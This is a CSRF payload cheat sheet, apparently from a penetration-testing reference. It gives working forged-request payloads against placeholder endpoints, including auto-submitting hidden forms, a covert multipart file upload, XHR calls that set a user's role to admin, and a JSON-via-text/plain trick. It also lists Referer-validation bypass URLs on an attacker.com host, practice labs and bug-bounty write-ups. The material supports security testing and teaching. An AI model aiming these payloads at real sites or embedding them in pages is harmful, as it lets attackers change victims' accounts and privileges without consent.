Cross-Site Request Forgery
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
Summary
- Tools
- Methodology
- Payloads
- HTML GET - Requiring User Interaction
- HTML GET - No User Interaction)
- HTML POST - Requiring User Interaction
- HTML POST - AutoSubmit - No User Interaction
- HTML POST - multipart/form-data with file upload - Requiring User Interaction
- JSON GET - Simple Request
- JSON POST - Simple Request
- JSON POST - Complex Request
- Bypass referer header validation check
- Labs
- References
Tools
Methodology
Payloads
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
HTML GET - Requiring User Interaction
HTML GET - No User Interaction
HTML POST - Requiring User Interaction
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
HTML POST - AutoSubmit - No User Interaction
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
HTML POST - multipart/form-data with file upload - Requiring User Interaction
<script>
function launch(){
const dT = new DataTransfer();
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
dT.items.add( file );
document.xss[0].files = dT.files;
document.xss.submit()
}
</script>
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>
JSON GET - Simple Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
JSON POST - Simple Request
With XHR :
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
With autosubmit send form, which bypasses certain browser protections such as the Standard option of Enhanced Tracking Protection in Firefox browser :
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
JSON POST - Complex Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
Bypass referer header validation
Basic payload
1) Open https://attacker.com/csrf.html
2) Referer header is ..
Referer: https://attacker.com/csrf.html
With question mark(?
) payload
1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html?trusted.domain.com
With semicolon(;
) payload
1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html;trusted.domain.com
With subdomain payload
1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..
Referer: https://trusted.domain.com.attacker.com/csrf.html
Labs
- CSRF vulnerability with no defenses
- CSRF where token validation depends on request method
- CSRF where token validation depends on token being present
- CSRF where token is not tied to user session
- CSRF where token is tied to non-session cookie
- CSRF where token is duplicated in cookie
- CSRF where Referer validation depends on header being present
- CSRF with broken Referer validation
References
- Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016
- Cross-Site Request Forgery (CSRF) - OWASP
- Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton
- Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial
- Hacking PayPal Accounts with one click (Patched) - Yasser Ali
- Add tweet to collection CSRF - vijay kumar
- Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd
- How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani
- FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones
- Hacking Facebook accounts using CSRF in Oculus-Facebook integration
- Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019
- Cross-Site Request Forgery Attack - PwnFunction
- Wiping Out CSRF - Joe Rozner - Oct 17, 2017
- Bypass referer check logic for CSRF